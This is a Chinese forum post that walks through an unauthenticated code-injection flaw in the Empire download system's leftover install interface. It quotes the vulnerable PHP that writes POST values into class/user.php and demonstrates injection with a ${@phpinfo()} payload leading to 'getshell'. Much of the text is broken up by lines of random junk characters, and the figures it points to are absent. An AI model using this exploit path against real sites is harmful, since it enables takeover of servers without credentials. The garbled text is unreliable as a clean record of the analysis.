这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
$ d7 s! R/ g' ]2 J: M- Q( W" f7 c( f+ w+ v/ z, q/ ~
+ _- k* p! |7 F( m% F5 k1 Z" f
这是帝国的一套下载系统 如图! y; t. L# `+ f8 U9 D. i2 A+ P
ps(不需要任何账户和密码,直接写shell)
' i& H( U9 X0 _0 F' g由于很多站是由于下载要整合discuz 等等一些论坛....
( _; e2 H+ M3 {- X : I' c0 S. r c. S% J4 d$ ~
而帝国他又有一个万能接口,如图 : \/ j% C* \) @; Z" |7 Y1 L/ N+ Z
. R: l8 P1 k/ |/ b
( O' G) _: H7 E B) L5 e而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码5 A$ @: \$ i* l: J5 x' M0 _5 Z# @4 X
2 p1 d9 x* p0 o! i: c% o4 a( \当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪) F8 ~# W7 {9 Q ~% f+ y
; G) X( m* ^7 v3 ?4 u: O" S
在data/fun.php中的15行% p- e9 J8 B- k5 E2 U: ?
- H6 Q, E" _4 m8 \
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
" c# A9 _3 q! \# V% t17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
0 r9 `8 W9 M+ t( s% U. \- [. B! ^# e9 K' ]
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);+ U5 w& Q3 j! i( S. Q- N& y
" v s% d+ U3 r- Y- R
他将传进来的变量进行了切割,然后赋给了$filetext3 k& b: F2 P3 L$ u5 ^
. y7 M1 l/ ?6 v" |, x
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了+ A" g( _ }) _( m# c
6 z! ]: u3 g: a7 m8 m+ B
我们看看写入的结果,随便填一个 + d, [# F5 w4 L0 V& b" `, x
9 l ]5 j& W1 W% d7 O) `0 z$ T# Q
( @2 b) F( c# N& Y2 M2 X1 W; }& B( ^+ R8 P! V( g+ ?+ _8 D
/ l1 c' q7 C2 b6 K' W; V: z4 |8 W3 K, w- x0 g$ k
5 Q/ q0 Q) G( o* L: B
$ C6 j& o h6 g' a
' u- A) T, M$ s
3 `* E3 ]; A% p3 P6 g1 W q. R: `
: [* _* m( v8 \4 `2 K% K, S7 I @+ A8 O* l
$ s% H2 F: S8 N! r( _% O, w) A8 j9 U( t
; x$ R) _ E) A) V' ^; ], ~% R+ }0 y. c: l8 _ ]& @
3 F8 t& m7 I3 [2 i6 N
1 `2 a9 R7 l( ?( V* B8 B! A. E* q7 n( T( A5 }1 ^, C
. X; a* s; o+ Z' [* I
, i, Y* C# x2 ]! P2 p
- c; h; W! S# `+ k/ L0 O9 i* ?9 o# c8 G所以我们淫荡点,写个${@phpinfo()}试试 " C2 ^+ Z9 j' H
然后访问以下class/user.php这个文件
0 D8 T, O. B6 H( r, T日了吧
$ ^% d* A6 d& i6 }2 e7 F: L' D9 G" d( n) ]
+ K# g7 y' ]& u& p' H9 f0 a% k) E U8 F% _$ ^ d7 [+ ~
/ H2 h+ s# Z( _8 V
# t7 ]' | j" M) W( y1 R
|